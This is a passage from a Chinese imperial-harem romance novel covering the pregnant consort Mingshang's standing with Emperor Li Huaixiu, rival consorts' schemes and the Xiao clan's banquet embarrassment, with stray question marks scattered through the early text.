见男人久久不语,明?裳眨了眨眸子?,大着胆子?道:“能得皇上?诏令,想必柳大人也是有大才之人,嫔妾倒是觉得柳大人的仪容比才华还要出众,也不知柳大人可否婚配……” 李怀修骤然沉了脸色,坐起身子?,直接将怀中的女子?揪出来,狠声教训,“虞明?裳,朕是太宠着你,越发无法无天了!” 他黑着脸,想到这女子?还注意外男长何模样,他忍不住想把?那人拖出去?,再将这女子?好生打上?一顿,让她长长记性。 若非这人怀了身孕,他现在就想让她知晓敢说这种话,是什么?后果。 李怀修心头那股火气下不去?,被前朝的政事烦心也就罢了,到后宫还要被这女子?气上?一顿。 她还知不知道自己是他的妃嫔。 明?裳此时也是有点怕的,但这番试探更让她确信,这位只是疑心,并不清楚她与?柳絮白曾经有过什么?。她松了口气,小心翼翼地扯了下男人龙袍的衣袖,“皇上?别生气,是嫔妾说错话了。” 男人抬手就不耐烦地挥开了她。 明?裳咬咬唇,柳眉颦颦,如娇似媚,那样讨好。 “嫔妾是随口与?皇上?说的。嫔妾自知是皇上?的妃嫔,连那柳大人高矮胖瘦都不曾看清……” “皇上?英姿伟岸,丰神俊朗,天底下那个男儿?能比得上?皇上?……” 这女子?惯会?花言巧语,李怀修被她撒娇得头疼,这人没?分寸惯了,他如何不知她是随口说故意气他。只是也实在没?个体统,这世?道对女子?本就严苛,倘若被旁人听去?,身为后宫嫔妃,她日后要如何在宫中自处。 李怀修脸色仍是难看。 见还未将人哄好,明?裳扶着肚子?,忽然“哎呦”了一声,李怀修面色立时一急,过去?扶住她,拧眉询问,“怎么?了?可是身子?不适?” 明?裳借机伏到了男人怀中,那双娇媚的眸子?掀起来,娇滴滴地“嗯”了声,“皇上?快摸摸,是孩子?在踢嫔妾呢!” 这番招数这女子?用来屡试不爽。 李怀修额头青筋突突直跳,气得不行,厉声训她,“再敢诓朕,朕非罚你不可。” 明?裳乖乖地应下来。 稍许,她敛下眼眸,伏在男人怀间,眉眼温柔如水,“嫔妾既然已经怀了皇上?的孩子?,就永远是皇上?的人,一辈子?都是。” “皇上?也要相信嫔妾好不好?” 李怀修气消了消,眼目低垂,掌心抚去?这女子?的孕肚,缓缓沉声,“朕信你。” …… 圣驾在永和宫停了一个时辰,回了议政殿。 李怀修坐上?銮舆,头疼地扶了扶额,前朝的政事堆积得太多,件件要他经手批阅,眼见要到年关,他也分不出多少心神在那女子身上。 那人又?怀着身孕,他也不想让这女子?想得太多,便没?深究下去?。 李怀修唤了声全福海,吩咐他去?办一件事。 闻言,全福海后背惊出了一身凉汗。 他原以为皇上把这事儿忘了,原来皇上?居然还记得,那日有人见到宓贵嫔在宫道上与柳大人相谈甚欢,言语亲切,似是旧识。看似传得有鼻子?有眼儿?,实则待全福海审问时,全是捕风捉影,那人站得远,压根儿?什么?都没?听到,亲眼见宓贵嫔与柳大人说了两?句话,便做了別,两?人间甚是疏远,也不见相谈甚欢。 为了针对宓贵嫔,这风声才传到御前。 只是这留言似乎只到了乾坤宫,六宫都不见什么?动向。 皇上?必然不会?准许这种留言传出去?,便令他处置了那人。 全福海领了吩咐。 …… 永和宫中,圣驾离开后,明?裳本欲吩咐月香去?查此事,话到嘴边,忽然想到,倘若她去?查,岂不让那位知道是她心虚,定会?再起疑心。 明?裳进退两?难,那位不清楚自己与?柳絮白的过去?,今日有此一问,可见是那日有人偷听到什么?,透漏到了御前。她身边伺候的宫人都是信得过的,背后之人又?能是谁。 明?裳思来想去?,仍无头绪。 …… 罗常在与?明?裳月份并未相差多久,明?裳的肚子?看着要较罗常在大上?许多,因她会?先生产,倒也没?让人觉得她这一胎有何不妥。 时日越长,罗常在看宓贵嫔就越发不顺眼,同样是怀上?皇嗣,她与?宓贵嫔所受的待遇相差可不是一星半点,宓贵嫔住在永和宫主殿,不仅生着地龙,伺候的宫人更是要多少有多少,皇上?又?时常去?看她,宫里?上?上?下下,从主子?到奴才,没?一个人敢有所怠慢。 而自己伺候的宫人不多不提,她住在偏殿,虽生着炭火,仍旧比不过宓贵嫔住着的主殿舒坦。最?让她不快的是,皇上?一月里?,只来看过她一回,坐上?一会?儿?前朝就有人来传话,她想留都留不住。 罗常在快要郁闷死了,愈发看谁都不顺眼。 她正恼着,拐过宫道,忽然冒冒失失急步走来一个宫女,那宫女神色惊惶,似也没?想到前面会?出现一人,见是怀了身孕的罗常在,根本来不及闪躲,她面色惊骇,眼疾手快地偏了身子?,狠狠摔向了宫门一侧,脚踝扭了一下,磕到门槛,破皮流血。那宫人顾不上?疼意,慌张地跪到罗常在面前福身请罪。 罗常在也被吓得不轻,她近来脾气不好,一想到方才差点被这小宫女撞到身子?,万一出了什么?闪失,说不准她腹中的皇嗣都难以保住了。 她抚着胸口,一阵后怕,再看跪在地上?哆哆嗦嗦的小宫女,脸色陡变,生出怒容,“你是哪个宫里?的奴才,这般慌慌张张,撞到皇嗣,十条命都不够你没?的!” 那小宫女名唤莺儿?,她本是要去?太医院为主子?请太医,没?想到会?忽然遇到罗常在。 脚踝处生着密密麻麻的疼,莺儿?生生忍下,“奴婢知错,请常在主子?宽容奴婢这一回!” “宽容?”罗常在冷笑一声,她近日正找不到出气的,正好这小宫女撞了过来, “换作平时,我会?宽容你,但今日你险些害了我腹中的皇嗣,我不罚你,他日你忘了这桩事,岂不是又?要冲撞旁人!” 莺儿?心沉了下来,罗常在罚她不要紧,可她还要给?主子?请太医看诊,主子?连日咳疾不断,万不能再耽搁下去?。 她不禁求道:“奴婢冲撞罗常在在先,甘愿受罗常在责罚。奴婢想请罗常在,可否准允奴婢先去?太医院,为我家主子?请上?太医?” 这个小宫女面生,罗常在倒是不记得她的主子?是谁,抚了抚鬓间的珠钗,随口问了一句,“你是在那个宫伺候的?” 莺儿?忙应话,“奴婢是在上?林宫喜春斋伺候江常在。” 江常在? 罗常在回忆一番,似乎是记起这么?一个人,是与?宓贵嫔同选秀入宫的嫔妃,说是常在,在宫里?却没?给?人什么?印象,好似,她也没?听说过皇上?有召幸过这个嫔妃。 她冷冷扫了一眼,轻描淡写,“本宫就罚你掌嘴三十,在这跪六个时辰,跪够了再去?太医院吧。” 待够六个时辰,莺儿?怕是要生生废了一双腿。她不想给?主子?生事,跪就跪了,可主子?的病实在不能拖下去?,喜春斋头伺候的人又?少,她不在主子?身边,那些添茶倒水的宫女也甚是懒怠,谁又?能伺候好主子?。 莺儿?额头重重磕到地上?,哭着恳求,“奴婢甘愿受主子?责罚,只求主子?先让奴婢去?一趟太医院给?贵人请来太医!” 倒是个忠心的奴才。 罗常在眼底不见怜色,她也不是非要跟这个奴才过不去?,谁让她今儿?心情不好。她可怜这个奴才,谁来可怜她,分明?她与?宓贵嫔一样怀着皇嗣,皇上?却只偏心宓贵嫔。 罗常在神色冷凝下来。 站得累了,罗常在对着小满抬了抬下巴,伺候的宫人领了吩咐,上?前钳制住莺儿?的双手,掌掴的是伺候在罗常在身边的嬷嬷,手臂力?道大,一巴掌打到小满的脸上?,生生打落了莺儿?簪发的钗子?。 莺儿?头晕目眩,眼花耳鸣,她咬着唇,泪水在眼眶里?打滚,被她忍下,她仍在不卑不亢地苦求,“求求常在主子?,准奴婢先去?太医院吧!” 罗常在见她狼狈至此,还求着要去?太医院,确实有几分忠心。 小满在旁边也劝道,“主子?,不如从轻处置,主子?怀了身子?,想必上?天看到主子?宽仁,也会?庇佑主子?腹中皇嗣。” 并非小满相信上?天庇护,她只是担心主子?发这么?大脾气,传到皇上?耳中,怕是不好。 罗常在被说得心动,她疲累地按了按额角,“今儿?就免了你冲撞之罪,且去?太医院吧。” 一行人离开,莺儿?得以解脱,她方才摔倒时伤得严重,脚踝怕是折了,莺儿?疼得满头是汗,撑着墙壁勉强站起身子?,她站稳后,倒吸了一口凉气,没?走上?一步,又?瘫坐到了地上?,莺儿?自暴自弃地哭出了声,她这双腿废了无妨,但她还要为主子?请太医,主子?身子?本就不好,又?受了风寒,如何撑得过去?。 莺儿?再要起身时,耳边听到有人在唤她,她泪眼朦胧地抬起头,看清面前站着的人,是伺候在宓贵嫔身边的月香。 两?人相识很是巧合,有几回到内务府领月钱都是同路,交情并不深,能说得上?几句话。月香为人活络,脑子?又?聪明?,在宫里?结交的人不少。 月香帮她去?太医院请了太医,又?往那吏目手中塞了银钱,给?她治腿,太医院不会?在乎一个奴才,那吏目能答应,也是看在月香伺候宓贵嫔的情面。 莺儿?眼眶通红,不知如何感?谢月香。 没?人在乎这件小事儿?,甚至月香都没?放在心上?。月香素来喜欢在宫里?结交宫人,一来能打听宫中动向,二来日后遇到难事,也能多条门路。 …… 后午,明?裳用过午膳,准备小憩,月香一脸疑色地从殿外进来,“主子?,江常在正在殿外要求见主子?。” 明?裳挑眉惊讶,“江常在?” 她在想,这江常在是谁? 辛柳在旁提醒,江常在也是去?年选秀入宫,不过听闻身子?不大好,时常养病,坤宁宫问安多是告假,至今也未侍奉过圣驾。 在宫里?几乎像没?这个人。 月香解释她曾经帮过江常在身边的宫女莺儿?,她有些懊恼,“都怪奴婢不好,也不知江常在寻主子?何意,不如奴婢现在去?回绝了。” 主子?如今正怀着身子?,江常在要是意图不轨,岂不是引狼入室,害了主子?。 明?裳摇了摇头,“江常在在宫中少有人注意,想必也不是喜欢惹事生非的人。” “请她进来。” 明?裳重新换了衣裳,鬓间只簪了一支金镶玉的翡翠,素净与?华贵正相适宜,她对着妆镜照了照,觉得满意了,才扶着月香的手慢慢走出内殿。 案上?已经换了两?盏茶水,江常在面容不见不满,闻宓贵嫔出来,立即起了身子?,上?前恭恭敬敬地做礼,“嫔妾请贵嫔娘娘安。” 她身子?有疾,面色不似寻常的白,忍了忍,咽下喉中的干痒,解释道:“贵嫔娘娘放心,嫔妾风寒已好,只是身体旧疾难愈,不会?染病给?贵嫔娘娘。” 明?裳对江常在生出几分好感?,坐下身,也让她坐下。 江常在这身子?确实单薄消瘦,永和宫主殿里?生着地龙炭火,江常在入了殿,仍披着厚厚的披风,那披风颜色有些旧了,绣出水仙花样开了丝线。 宫人奉上?温水,明?裳抿了小口,江常在才道明?今日来意,“那日嫔妾身边的莺儿?受责,多谢贵嫔娘娘相助。” 她今日过来,也不只是给?宓贵嫔道谢,她生性不喜欠旁人什么?,宓贵嫔帮了她,她不过是要还了宓贵嫔这份情。 她抿唇,犹疑地看向上?首的女子?,“嫔妾还有一事,要单独与?贵嫔娘娘说。” 殿内伺候的宫人无声退下身,江常在忍着咳意,眼神也有一瞬间的不解,“嫔妾与?白采女同住在上?林宫,那日莺儿?去?为嫔妾倒药渣,无意听见,白采女在说贵嫔娘娘,似乎是要传贵嫔娘娘的闲言,于娘娘的名声有损。” 明?裳眼眸一顿,指尖儿?倏然收紧,她抿住唇角,掀起眼,“江常在可听到了什么?风声?” “并未。”江常在摇了摇头,她沉思稍许,又?道,“不过近些日子?,那宫人没?再出现过上?林宫。” 明?裳眸光微凝,很快理清了其中关联,她压下心中猜测,微笑道:“多谢江常在告知本宫。” 关于宓贵嫔的什么?风声,江常在不想知道,也并不关心,她是个聪明?人,在这宫里?,知道的越多,死的越快,她原本没?打算将这件事传给?宓贵嫔,也是怕宓贵嫔藏了什么?事,要因此将她除掉。但她又?一向不喜欠旁人情分,那日倘若没?有及时请到太医为她施针,她也不见能活到现在。 江常在起了身,面色有病态的苍白,屈身轻声道:“嫔妾从不参与?宫中之事,贵嫔娘娘放心,此事绝不会?有第三人知晓。嫔妾感?念贵嫔娘娘帮过嫔妾的恩情,日后嫔妾也不会?借此到永和宫叨扰娘娘。” 一番剖白,让明?裳微微讶然,江常在确实是直性子?。 待江常在走后,明?裳想了想,吩咐月香,“暗中跟太医通个气,江常在染病有需,不得推辞。” 她知晓低位时过得有多艰辛,江常在不是轻易能接受别人相帮的性子?,吩咐太医院一声多加照看,她如今的位子?,还是能做得到。 …… 入夜时分,明?裳仍在想江常在白日提过的白采女,她相信江常在所言并非假话,她与?柳絮白在宫道相遇,大抵是白采女捕风捉影,有意传入那位耳中。而那个没?再出现的宫人,不必多想,也能猜出是那位的手笔,白采女受了警告,不敢再有什么?动作,也保不准,日后不会?针对于她。 明?裳没?等想清,耳边听见外面的杂乱的人声,她掀开帷幔,问生了何事。 已是入夜,辛柳原本要明?日说给?主子?,听主子?发问,她不好再隐瞒,委婉道:“昨夜大雪,冷宫少有炭火,晚膳时,有宫人发现,杨才人殁了。” 明?裳微微愣住,抬手间,无意打翻了床案放着的温水, 初入宫中受尽恩宠,风光盛极的女子?,就这样死在了冷宫的寒冬中。 杨才人的后事由皇后主持,杨才人母家凋零,又?是入冷宫的废妃,并未按照宫中的才人仪制操办。 待处理了杨才人丧仪后,宫中安静了一段日子?,直到罗常在从宫人口中得知,那日是宓贵嫔身边的人为得罪了她的宫女去?请太医,不由多想,宓贵嫔是有意与?她过不去?。 腊月末,寒风呼啸。 永和宫中,盆中的银丝碳劈啪作响。 明?裳伏在男人怀中,气息微匀。 李怀修一双大掌扣住了女子?的腰身,由正对着他换成了靠坐。 这姿势并不好受。 明?裳有点想哭。 不知这位是不是记着宫道上?她与?柳絮白说的那几句话,隔几日就要这样故意罚她一回,分明?知她怀着身子?,还要这样。 男人附在她耳边,“唤朕一声。” 明?裳便呜咽一声,“皇……皇上?……” 那娇娇软软的嗓子?,唤出来又?酥又?麻,李怀修眼目深深,收着力?道,额头青筋爆出,征服的谷欠望已经远远超过了对这女子?的怜爱。 腹中孩子?似是又?踢了她一下,明?裳脸颊红得能滴血,她觉得自己要没?脸见这两?个未出世?的孩子?了。 宫门外,凛冽的霜雪拂过人脸,全福海听了外面那宫人的传话,暗道这位罗常在忒不懂事,也就借着怀着皇嗣,敢这么?明?目张胆地与?宓贵嫔作对。 他也不得不进去?通禀。 全福海咽了咽唾,硬着头皮走到屏风外,低下声,“皇上?,方才缈云坞的宫人传话,说罗常在身子?不适,请皇上?过去?看看。” 他等了会?儿?,没?听见里?头吩咐,不知为何,莫名觉得后背越来越凉。他抹了把?额头的虚汗。 而此时,殿中,明?裳觑着男人不耐的脸色,难得对罗常在与?她争宠,生出些庆幸。 她懂事地为男人披上?衣裳,“皇上?日日来嫔妾这儿?,罗常在指不定有多厌烦嫔妾。” 罗常在厌不厌烦这女子?,李怀修不想清楚,他现在倒是厌烦,外面那个没?眼色的太监。 他按按眉心,由着这女子?伺候他穿了外衫。那女子?红唇含笑,一双眼珠如含了春水,李怀修不由想起这人在他怀中失神无力?的模样,他啧了声,掐了把?那张小脸,丹凤眼不满地眯了眯,“朕要走,你就这么?高兴?” 明?裳内心点头,面上?却是十分无辜,嘤嘤啜泪抱住男人的腰身,“嫔妾不想皇上?走,但是嫔妾不懂事,皇上?就不会?喜欢嫔妾了。” 那般地乖巧听话,如一汪春水,化?在了男人心上?。 李怀修眼目盯住了这个惯会?花言巧语的女子?,手掌摸了摸那张媚如红霞的脸蛋,觉得方才那事,自己已经被这只妖精迷惑得几近失了为君者的分寸。 第083章 第 83 章 罗常在终究是没请去圣驾, 前朝深夜急报,李怀修回了乾坤宫,连夜宣召朝臣议事。 缈云坞 罗常在握着手?中的杯盏, 重重摔了出去, 她单手?倚着凭几,细眉拧着, 透出不耐之色。 “为何偏生这么巧,我要?请圣驾过来,前朝就出了事!” 伺候的宫人呼啦啦跪了一地, 没人敢在这时候说话,惹主子厌烦。 这几月里,圣驾但凡去一次永和宫,主子都会发一次火,他们已经习以为常。 今日也是如此, 罗常在脾气发够了, 闷闷不乐地挥退宫人, 看?着这些没用的人她就一阵心烦。 高嬷嬷端着安胎药进殿,伺候主子吃下,罗常在气归气, 她仍是看?重自己腹中的皇嗣, 这是她日后在宫中唯一的倚仗。 帷幔勾着银钩,高嬷嬷恭敬地垂着脑袋,见罗常在吃下了安胎药,捧着药碗,退身离开。 …… 转眼?到年宴这日, 明裳月份大,年宴上人多眼?杂, 明裳思来想去,不准备去这岁的年宴凑热闹。 殿外廊下种着的红梅凌霜而开,正逢降雪,殿内待着无事,明裳裹着厚实的披风,戴上兜帽,要?出殿赏景。 年宴不能凑那等热闹,只能在自己宫中找些乐子。 月香手?巧,剪了各式的雕花,明裳领着宫人贴到永和宫小窗上,又挂去红梅枝头,明月下,她闭起眼?,双手?合十,虔诚祈愿。 年年岁岁花相似,岁岁年年人不同。寄言全盛红颜子,应怜半死白头翁。 两年前,她又何曾想过有今日光景。 明裳睁开眸,望着那轮明月,霜雪覆到女子的眉心,过了今年,她也不过十八岁。 她兴致散去,眉眼?淡下来,“我累了,他们若喜欢守夜就守着,困了各自回厢房歇息。今年的压岁照例在绘如那儿,你让绘如看?着时辰,发给他们。” 月香原本?正笑?盈盈地望着满是窗花,喜气洋洋地永和宫正殿,抬眼?不知主子怎么忽然生出些乏意?,以为是主子身子不舒坦,忙应了声是,扶着主子回内殿歇着。 永和宫伺候的宫人不知主子惆怅,掂了掂荷包里的赏钱,脸生生乐开了花。如今这这宫里头,伺候哪位主子都不如伺候贵嫔娘娘风光。 …… 年宴上,两位怀着皇嗣的嫔妃并未入席面,也不知年宴上生出的一桩事,成了六宫的笑?谈。 瑞雪丰年,皇后提议到御花园中赏雪景。殿内众人随侍在君王身后,到御花园时,走近瞧见在揽月湖旁翩然舞动的女子。后面跟随的人自然停住脚步,六宫嫔妃看?清那人是一女子,轻拧了下眉,夜中霜雪,能在御花园做舞,其心思昭然若揭。 年宴这日,并非六宫嫔妃都能入席,有人想借此机会,入皇上眼?也未可知。 李怀修背着手?,眼?底闪过一瞬的厌烦之色。 风雪拂过那女子的发鬓眉眼?,纤纤身姿怕是要?惹天?下大半男子动心垂怜。 但却未让君王有意?分毫。 一曲舞罢,她才转过了身,见到后面的男人,面容生出诧异,忙垂眼?上前,福身做礼,“臣女请皇上安。” 听她自介,跟随的一众人闻之,心生惊讶,这是哪家的闺阁之女,好生大胆,众目睽睽之下就不怕因此折损了自己的名?节。 皇后站在一旁,听出这女子的说话声几分熟识,她忽然意?识到什么,向命妇家眷一侧看?去,未见到熟悉的身影,果?然如她所?想。 皇后面容阴沉下来,忍不住暗道了句蠢货,以为这样就能入这位的眼??手?段未免太过拙劣。 实在愚蠢! 她敛去眼?色,攥了攥帕子,上前似无意?挡住面覆白纱的女子,温声福身,“皇上,怕是哪家姑娘不懂事,来这御花园觉得新奇,臣妾这就带她下去。” 李怀修捻了捻扳指,颔首点头。 没人想到皇后会忽然站出来说话,不过皇后这番说辞确实挑不出错处,也不知是哪家的女子,为入宫倒是费尽心机。 萧圆儿费尽心思求着母亲带她进宫,她怎能轻易放过这次机会,她不认为姑姑这么做是为她好,姑姑位居后位,一人之下万人之上,她何尝不羡慕姑姑的荣华,做甚萧家在后宫只能有姑姑一人。 她推开请她离开的宫人,将面纱摘下来,含羞带怯地福身,“臣女萧圆儿请皇上安,皇上万岁万岁万万岁!” 见到那副面容,众人大惊,而在命妇中的萧三夫人则面容倏然发白,气得险些晕死过去。是她不好,怎么就一时心软,答应了女儿的央求,带她进宫。她也知晓些道理,他们萧家有已经有了太后,皇后,倘若再有萧家人入宫,当?今该如何做想! 朝臣中萧家两兄弟,也没料想这女子偶然是萧圆儿,他们在前朝多年,立时分辨出其中厉害,顾不得脸面,忙挤过众人,请身跪地,萧三老爷躬低身子,“小女性子顽劣,臣这就带回府中好生教导,惊扰圣驾,请皇上恕罪!” 萧家两位夫人也跪到一旁求情。 萧圆儿不明白为什么家中没有人支持她入宫,她年轻貌美,宫中又有姑姑倚仗,日后何愁不能步步高升,萧家多一分助力,岂不是更好。 她生出怨恼,不想轻易错失了这次机会,“皇上,臣女心甘情愿入宫服侍皇上身侧,请皇上准允!” 萧三夫人恨自己没教养好这个女儿,咬住牙关,抬手?狠心打了她一掌,萧圆儿自幼在家中被娇惯着长大,母亲一句重话都不忍说,又何曾这样狠心打她。 萧圆儿猝不及防歪过身子,一手?拄地,另一只手难以置信地捂紧侧脸,眼?眶生泪,身子几近发抖,“娘!” 萧三夫人眼?底一片泪意?,额头重重磕到地上,“皇上,是臣妇教导无方,请皇上责罚臣妇。小女年少无知,求皇上宽恕小女今日的妄行。” 今儿年宴,唱得这出戏也是精彩。 外场的众人面面相觑,今日萧家可是丢足了脸面。 萧家能在前朝地位举足轻重,还不是因为萧家出了两位后位,一位做了当?今太后,是皇上生母,一位做了当?今皇后,是皇上发妻。这萧家女儿居然还不满足,还妄想进宫。 皇后提着裙摆在旁跪下,“皇上,出来有些时候,怕是冷了,不如先回殿吧。” 李怀修眼?光多看?了皇后一瞬,不徐不疾地移开眼?,对那跪地的萧三老爷开口?道:“萧侍郎既要?教导好家中子女,想必侍郎一职也是分身乏术,自今日后不必在礼部任职了。” 此番,皇上竟轻易撤了萧家在礼部的官职。 圣驾离开,萧三老爷面容发白,沉痛地双手?捶地。 家门?不幸!家门?不幸啊! …… 年宴散去,全福海在銮驾一旁侍奉,今夜除夕,皇上原本?该去坤宁宫,但发生了御花园那桩岔子,全福海就不敢猜测皇上的意?思了。 这萧家人也是大胆,若不是平时萧家纵容,萧家姑娘怎能做出今日之举,是笃定了皇上会宽容萧家,全福海一想想方才皇上的脸色就一阵心惊胆战,皇上本?没不满萧家,偏生他们自己要?闹出些事。 銮驾行在宫道,走出不远,李怀修就抬手?示意?,全福海忙命宫人停下。 李怀修披着玄色云龙纹的大氅,飘零的白雪落入他的眉心,男人的身形陷在黑夜之中。 是夜除夕,尚未有宫人洒扫宫道,堆积的雪踩下松软厚实,咯吱作响。 宫道上吹气的寒风犹如锋利的刀子,全福海眯着眼?,搓搓两手?,上前劝道:“天?寒地冻,皇上保重龙体,还是上辇吧。” 李怀修负手?而立,望向皇城覆下白迹的红墙黑瓦,面容冷沉,“朕下来走走。” 上京皇城是早在几朝之前,就有帝王建下,大魏太\\祖开创基业后,并未迁都,历朝历代,不知有多少帝王走过这条路。 全福海忙忙应下,让宫人在后头跟着。 天?高云淡,霜雪茫茫。 …… 坤宁宫 皇后手?心重重拍到案上,心中尤有怒气,她原以为圆儿只是被三哥宠惯的性子,不想居然不知何时动了这样的念头。也不知是不是三哥三嫂给了她这样的暗示,还是萧家见她无子,就想再添一个?萧家女进宫。 宫中只能容得下一个?萧家的女儿! 探信的宫人跪到坤宁宫,脸色惊惶地跪到皇后身前,“娘娘,圣驾并未来坤宁宫。” 她跪着身子,不敢放重呼吸。 除夕是个?大日子,皇上逢初一十五可以不来坤宁宫,然除夕不行,这是独属皇后的尊荣。 今夜她却探到,皇上不仅没来坤宁宫,圣驾经过的方向,似乎是永和宫。 她没有确认,不敢禀给娘娘。 文?竹神色也有紧张,劝声:“皇上会清楚那是三房姑娘的主意?,与?娘娘无关,娘娘不必放在心上。” 谁能想到,三房姑娘有那等大的胆子,敢在众人面前,做蓄意?入宫的谋算,枉费娘娘对三房姑娘那么好,前段日子甚至还给府上传信,挑选合适的郎君做婿。不想,三房姑娘是打算与?娘娘平起平坐。 她凭什么,如何知道娘娘在宫里的辛苦。 文?竹为娘娘心疼,也为娘娘不值。 皇后疲惫地扶去额角,一笔写不出两个?萧字,皇上即便知晓她与?此事无关,也会因此生出不虞,这段日子,皇上越发得少到她的宫中。 她享受着皇后的尊荣,上奉天?家,既是皇后,也是那位的臣子。 她指腹抚过自己的鬓发,她如今不过三十,这条路,好似已经走过数十年,她都已经累了。 皇后眸色淡下来,今夜不愿去想那些事,“罢了,为本?宫更衣盥洗。” …… 全福海跟着伺候一路,见皇上忽然停住脚步,弯身似是捡起什么。 为听皇上吩咐,他走过去躬着身子候到一旁,眼?睛瞄了一瞬,仿佛是一张剪好的红纸窗花,是红梅的花样,剪纸之人倒是心灵手?巧。 李怀修随意?问他,“六宫中哪处种了红梅?” 全福海心下百转千回,觑了眼?皇上的脸色,有所?会意?,“奴才记得,永和宫贵嫔娘娘那儿,种了满院子的红梅,煞是好看?。” “贵嫔娘娘最喜欢捣鼓这些小玩意?儿,大抵也是从?贵嫔娘娘宫里吹过来的。”他再接再厉,“贵嫔娘娘怀着皇嗣不能赴席年宴,大抵除夕夜没有闷子,心里想着皇上,才捣鼓这些。” 李怀修面色平静,眼?底却沁出一丝轻笑?,“那女子惯爱这些。” 全福海看?拍对了马屁,忙讪笑?,“奴才瞧着前头就是永和宫,不如皇上到前头歇歇。夜中风大,皇上仔细龙体。” 并非全福海不知今夜除夕,皇上该在皇后娘娘宫中,可见这架势,皇上八成是不会去坤宁宫,天?寒地冻,他是真的为皇上的龙体着想。 此时永和宫中还有几个?零星守岁的小太监,靠着火堆,暖着身子,有两个?闲着没事,学月香姐姐的手?艺剪窗花,偏生笨手?笨脚,歪歪扭扭,瞧不出原本?什么形状。 守门?的小太监一个?时辰换上一回,他冻得缩缩脖子,跺掉脚上的雪,一抬眼?,就见深夜中,銮驾行近了永和宫。他以为是自己看?花了眼?,揉揉眼?睛,确定是銮驾无疑,猛地拍了掌旁边打瞌睡的小太监,“快回去通禀主子,圣驾往永和宫来了!” 那小太监“啊?”了声,被拍得一脸懵。 明裳睡了有一会儿,从?梦中被人推醒,眼?神尚有迷茫,“又出什么事了?” 辛柳又着急又疑惑,“主子,是皇上过来了!” 今夜除夕,那位当?去坤宁宫才是。 明裳眉尖颦颦,不等她穿好衣裳,那位已经步入内殿,裹挟了一身寒气。 宫人福身,无声退下,明裳仰起脸,见当?真是这位,懵懵地说了一句,“嫔妾不是在做梦吧。” 李怀修已除了外袍,她这内殿暖和,须臾就暖了身子,他掀起衣摆坐到床边,盯了瞬这张红扑扑的脸蛋,勾唇,“做什么梦了,梦里也有朕。” 明裳美眸嗔恼,扑去男人怀中,娇羞参半,馨香入怀。 她想到不解,“今夜除夕,皇上怎么到嫔妾这儿来了?” 李怀修神色平静,没有答她这番话,拍了拍这人的腰背,让她先起来,“朕去净室盥洗。” 又道,“席上饮了酒,你闻到不好受。” 明裳乖乖地点了点头。 待李怀修净洗回来,换了身干净的衾衣,明裳也没了困意?,她伏在男人怀中,那只大掌由抚她的腰身转到揉捏轻罩那两处,待结束,李怀修意?犹未尽地眯了眯眼?,明裳背靠着男人胸怀轻轻喘息。 她有些恼,媚眼?轻斜,娇声半嗔,“皇上深更半夜过来,原是来欺负嫔妾的。” 来之前,李怀修当?真无此心思,只是搂着这女子,心浮气躁,情不自禁。 他失笑?,由这女子埋怨。 旁人求之不得,也就这女子敢跟他使小性子。 李怀修捻她耳珠,“朕这样娇着你,待你将孩子生下来,朕可有的受你们娘几个?闹腾。” 一想到生下孩子,明裳就有些羞色,也生出些期许,两年前从?未想过自己会与?男子这样亲密,那男人还是当?今天?下最尊贵的帝王。 明裳小声咕哝,“那也是皇上想要?的,谁叫皇上总想着嫔妾给您生孩子。” 那声音软乎乎的,甚是理直气壮,不由得让李怀修想,要?是这女子生下的是个?皇子,性子可万不能随了她,皇子哪能那样娇气。公主像她最好好,他会把?天?下最好的绫罗绸缎,珠宝首饰,园林府邸……送到他们女儿面前。 李怀修抚着这人的肚子,要?不是太医说女子生产于身子有损,他确实想让这女子多生几个?,最好给他生下一窝,日后他挨个?教他们的孩子读书写字,明心识礼。 他搂着怀中女子,唇线微扬,眼?目有盼为人父的愉悦柔和。 …… 翌日合宫皆知,除夕当?夜,圣驾留宿在了永和宫中,对宓贵嫔不满的嫔妃,已经表现到了面上,问过安,就忍不住去内殿求见皇后,言辞间都是宓贵嫔不知礼数,敢拂皇后娘娘的脸面。 皇后也是今早才知,皇上昨夜去了永和宫。她心中苦涩泛凉,面对一众早就对宓贵嫔心怀不满的嫔妃,又觉讽刺可笑?。 自己没那个?本?事,不去想如何得圣心,与?她说这些又有何用。 无非也是想从?中挑拨,借她的手?,去除掉宓贵嫔, 这六宫中,人人都自以为是,自己是聪明人。 却不知,唯有宓贵嫔,才是真的聪明。 几近阳春三月,冰雪消融,明裳还有一个?月临盆,永和宫上上下下,如临大敌,主子有孕已经安然度过前九个?月,万不能在最后一个?月出了岔子。 永和宫进出的膳食经太医查看?,由绘如试过,才给主子动筷。 明裳也感受到些许的紧张,那位时不时会到永和宫看?她,她有所?感受,除夕那夜后,那位似乎更宠爱她,她随口?说了什么,翌日御前就会有人送来。她想看?皮影戏,后午就有会皮影的小太监到永和宫。 她有一回玩笑?说想让皇上喂她喝羹汤,那位脸色不好,没立刻答应,她便恼了,李怀修无奈让宫人下去,当?真一勺一勺地喂给她喝,脸色仍是冷着,硬邦邦地黑着脸,“虞明裳,朕就惯着你这一回。”明裳见好就收,腻在男人怀里,笑?吟吟的,说是孩子要?父皇喂,那位便对她没了法子。 皇上如今有多看?重宓贵嫔,最清楚的人莫过于全福海,永和宫大大小小的事,宓贵嫔白日去过哪儿,见过什么人,皇上都要?一清二楚。 转眼?又过半个?月,快到了明裳生产的日子。 第084章 第 84 章 宓贵嫔还有一月临盆后, 就不再去?了坤宁宫问安,这也是皇上的意思,宓贵嫔与罗常在生产没?相差多久, 罗常在便也差人去?了坤宁宫告假, 在宫中待产。 坤宁宫 一日?的问安散了,皇后回内殿坐去?窄榻里, 宝珠从外面跑进来闹着要去?御花园游湖,初春尚凉,皇后没?准允, 与她说待过段日?子再去?。宝珠有点失望,可她不敢违背母后的话。 时辰尚早,皇后问宝珠要不要习字,宝珠由皇后牵着手,正要去?书房, 殿外有宫人来禀, 圣驾朝坤宁宫过来。 宝珠眼珠亮了亮, 父皇许久没?来看她,她已迫不及待地?望向?皇后,“母后, 是父皇来了!” 她年?岁尚小, 比不过大人多思。 皇后牵着宝珠的手,眉心轻拧了下,她想起这些日?子,内务府透出的风声,宓贵嫔有孕时, 皇上并未封赏,如今宓贵嫔将要临盆, 她隐约听闻,内务府已备下妃位服制。 “母后?”宝珠狐疑不解,“父皇来了,母后不与宝珠出殿接迎吗?” 皇后收起心绪,温和地?点了点头,带着宫人出殿迎驾。 圣驾停在坤宁宫,李怀修下了仪仗,宝珠便定不下心思,跑到父皇面前,“宝珠想父皇了!” 